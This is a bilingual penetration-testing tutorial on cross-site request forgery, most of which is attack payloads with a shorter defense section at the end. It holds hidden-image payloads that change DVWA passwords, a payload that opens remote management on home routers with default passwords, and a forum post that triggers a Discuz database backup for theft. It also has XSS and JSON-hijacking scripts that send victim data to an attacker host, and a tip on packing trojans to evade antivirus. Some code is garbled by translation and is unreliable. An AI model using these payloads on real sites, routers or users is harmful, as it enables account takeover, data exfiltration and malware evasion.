CSRF cross-site request forgery in penetration testing

CSRF cross-site request forgery

theory:

1. Definition:

Csrf cross-site request forgery is a malicious use of websites. The difference from xss cross-site scripting attacks is that
xss uses trusted users on the site to attack, but csrf uses requests from trusted users to make attackers forge themselves. Become a trusted user and launch an attack.
XSS:
Because the input detection is not strict, the
injection of js code
csrf:
malicious use of the website
forged user requests

2. Working principle:

1. The user browses and logs in to the trusted website A
2. At this time, the authentication is passed, a cookie of the trusted website A will be generated at the user
3. Then the user visits the threatening website B without logging in to the website A
4. This When threatening website B asks to visit third-party website A, it sends a request request
5. Then according to the request in 4, the browser will visit A ​​with the cookie generated in 2
6. At this time, A does not know the access request in 5 Is it sent by the user or threatened website B, the browser will automatically bring the user's cookie, so website A will use the user's permission to process 5 request, so that website B will successfully simulate the user to visit A ​​website and perform operations.

3. To complete a csrf attack, the victim must complete two steps:

1. Log in to a trusted website and generate cookies locally
2. Visit dangerous website B without logging out A

Experiment one (change password case)

进入dvwa，将安全级别设置为low

进入CSEF测试页面

输入密码，提交，发现提交的url如下：
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#

此时构造攻击页面：
<img src=” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98#
” border=”0” style=”display:none;” >
<h1>404<h1>
<h2>file not found<h2>
将构造好的攻击页面放置在第三方服务器中，页面访问地址为http://192.168.0.10/csrf.html
192.168.1.10是第三方服务器的地址
当用户点击该链时，密码被修改。

Experiment two (change password case)

进入dvwa，将安全级别设置为low

进入CSEF测试页面

输入密码，提交，发现提交的url如下：
http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=1&password_conf=1&Change=%E6%94%B9%E5%8F%98#

查看代码，发现服务器端使用stripos()函数判断变量HTTP——referrer中的referer参数值，表示来源地址，是否包含server_name(http头的host参数即访问的主机名)
通过这种方法来防御csrf攻击

此时构造攻击页面SERVER_NAME.html

<img src =” http://192.168.0.107:81/dvwa/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=%E6%94%B9%E5%8F%98# ” border =” 0” style =”显示：无；” >

<h1>404<h1>
<h2>file not found<h2>
其中server_name为dvwa平台的IP地址
将构造好的攻击页面放置在第三方服务器中，页面访问地址为http://192.168.0.10/server_name.html
192.168.1.10是第三方服务器的地址\server_name是dvwa的ip地址
 
当用户点击该链时，密码被修改。

Experiment three (change password case)

接用 burp 抓包把http://127.168.1.55:8080/dvwa/vulnerabilities/csrf/加入到 referer
里面，点击转发数据包，发现密码修改成功

也就是说，在构造攻击代码的时候，要将攻击代码修改成refer为站点refer的，之后再结合其他手法进行嵌入

修改密码案例防御. CSRF 直接判断旧密码是否正确了,这样在不知用户原有密码的情况下，不管是否存在 CSRF， 你都是无效的。

Experiment 4: csrf attack on local network equipment:

一般情况下，外网不可以访问，交换机等硬件也是，如果想访问内网设备，应该怎么办呢，注意，内网设备很多是默认密码的
首先，模拟正常用户身份登录，进入到路由器中开启web管理端口，再用burp抓包，抓取得到地址
<img
src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save=
%B1%A3+%B4%E6>
将这个攻击代码插入到想插入的地方，欺骗对方企业访问这个地址，访问之后对方设备的远程web管理端口就打开了
这段攻击代码三个功能，先开启80端口，把远程web管理IP地址改成255.255.255.255，保存
注意在登录状态，被攻击者访问了带有 CSRF 攻击代码的网页时，就“被迫”开启了“远
程 WEB 管理”功能
使用 GET 方式发起的 CSRF 攻击,通过社工等手法让被攻击者访问恶意站点的 CSRF 文件。
FAST 无线宽带路由器的 WEB 管理的默认用户名与密码：admin。

Experiment 5: No need for a browser case:

将攻击代码嵌入到自解压选项中
补充
在做免杀的时候也可以使用这个功能做自解压木马干掉杀毒软件
可以把一个木马进行拆分
先把注册表导入形式拆分
内存部分再拆分
启动项拆分导入形式
最后加一个自动.exe形式

Experiment 6 (Quick case of de-stocking)

dscuz中注册一个普通用户

模拟用户发帖
在帖子里 添加一个网络图片
http://192.168.1.55:8080/dzcsrt/uc_server/admin.php?m=db&a=operate&t=export&app id=0&backupdir=xxxx%26backupfilename%3Daaaa

当管理员访问此贴时，只看到一张未正常显示的图片
网页加载图片的 URL就是管理员在数据备份时所访问的 URL 用管理员账号登录查看消息（在管理模式下） 他的数据库就被备份了
攻击者直接在默认路径下载备份好的数据库就可以了

CSRF worm model

同域内 CSRF 攻击获取数据几乎没任何限制
跨域 CSRF 攻击获取数据的几种方法总结如下
1、XSS
使用目标站点上的 XSS 漏洞
> <iframe width=0 height=0 src=‘http://目标站点/search.php?k=“><script
> src=http://恶意站点/get.js></script>’></iframe>

http://恶意站点/get.js 的代码是：
//use DOM method to get your data
new Image(). src=‘http://恶意站点/do.php?data=‘+yourdata;

恶意站点的 do.php 文件接收唯一标识等数据。该唯一标识可以是 url 中的或是目标站点
url 对应的内容中的。

2、服务端代理技术
3、JSON Hijacing
使用 JSON Hijacking 技术：
目标站点使用了 JSON 数据传输用户私有数据。
该私有数据内包含我们需要的唯一标识等信息。
< script > 					function hijack（o）{					//使用DOM方法获取数据					新Image（）。src =“ http://192.168.1.2/JSONHiJack.asp?hi=” + escape（data）; 					} </ script > 					<script					src = http：//api.fanfou.com/private_messages/inbox.json？callback = hijack＆count = 2> </ script >

4、Flash AsctionScript（crossdomain.xml）
使用 Flash ActionScript 脚本
目标站点下必须存在 crossdomain.xml 文件,crossdomain.xml 中的配置允许其他域的 AS
脚本进行跨域请求
万用符*

要获取的关键数据是唯一标识
用户 id、用户昵称、用户 email、用户个人页面地址等

csrf prevention

Server-side defense:

1. Verify the HTTP Referer field
   According to the HTTP protocol, there is a field in the HTTP header called Referer, which records the source
   address of the HTTP request . Under normal circumstances, requests to access a secure restricted page must come from the same website

For example, a bank transfer is completed by the user visiting the http://bank.test/test?page=10&userID=101&money=10000 page. The user must first log in to bank.test, and then click the button on the page to trigger the transfer event.
When a user submits a request, the Referer value of the transfer request will be the URL of the page where the transfer button is located (in this example, it is usually an address beginning with the bank. test domain name).

If an attacker wants to implement a CSRF attack on a bank website, he can only construct a request on his own website. When a user sends a request to the bank through the attacker's website, the Referer of the request points to the attacker's website. Therefore, to defend against CSRF attacks, the bank website only needs to verify the Referer value for each transfer request. If it is a domain name starting with bank. test, it means that the request comes from the bank website itself and is legitimate. If Referer is another website, it may be a CSRF attack, and the request is rejected.

2. Add the token to the request address and verify that the
CSRF attack can be successful because the attacker can forge the user's request. All user authentication information in the request is in the Cookie, so the attacker can be unaware of these verifications. In the case of information, directly use the user's own Cookie to pass the security verification.

It can be seen that the key to resisting CSRF attacks is to include information that cannot be forged by the attacker in the request, and that information does not exist in the Cookie. In view of this, the system developer can add a randomly generated token in the form of a parameter in the HTTP request, and establish an interceptor on the server side to verify the token. If there is no token in the request or the content of the token is incorrect, it may be considered CSRF attacked and rejected the request.

3. 
   The method of customizing and verifying custom properties in the HTTP header is also to use tokens and verify them. The difference from the previous method is that instead of putting the token in the HTTP request as a parameter, it is placed in the HTTP request. Put it in the custom attribute in the HTTP header.
   Through the XMLHttpRequest class, you can add the HTTP header attribute csrftoken to all requests of this type at one time, and put the token value into it. This solves the inconvenience of adding the token to the request in the previous method. At the same time, the address requested through this type of request will not be recorded in the address bar of the browser, and there is no need to worry that the token will be leaked to other websites through Referer
   4. On the server side Strictly distinguish between POST and GET data requests. For
   example, do not use Request to directly obtain data in asp. At the same time, it is recommended not to use GET requests to perform persistent operations, such as: http://www.yeeyan.com/space/deleteEvent/16824.

5. Use verification code or password to confirm
this method is very effective, but the user experience is worse.
For example, to change the password, you must enter the verification code or the original password

User-side defense

It is unrealistic for ordinary users to learn and possess knowledge of network security to defend against network attacks. However, if users develop good surfing habits, the harm of CSRF attacks can be greatly reduced.
The system administrator, the most important and most important user, should try to click on unknown links and pictures when logging out of the system. In addition, users also need to install appropriate security protection software on computers connected to the Internet, and update the signature database released by the software manufacturer in time to keep the security software's real-time tracking of the latest attacks.

Security equipment defense

Since it takes a certain amount of time from the discovery of the vulnerability to the release of the patch, and a considerable proportion of vendors do not respond positively to the vulnerability, and some system administrators do not pay enough attention to the system patch, these have given attackers an opportunity. In view of the above-mentioned various situations, users can use third-party professional security equipment to strengthen the defense against CSRF vulnerabilities.

The essence of CSRF attack is that the attacker has forged a legal identity to access the system. If
the forged identity of the visitor can be identified, the CSRF attack can also be identified. Research has found that security products of some vendors can
quickly and accurately identify CSRF attacks by checking the content of the Referer field in the HTTP header based on the hardware level . At present, H3C's IPS products use special technology to support the detection and blocking of CSRF vulnerability attacks in some commonly used systems. The
defense method
is to first match the network traffic with the signature of the signature database.

Hit characteristics
Report attack logs

No hit feature,
traffic release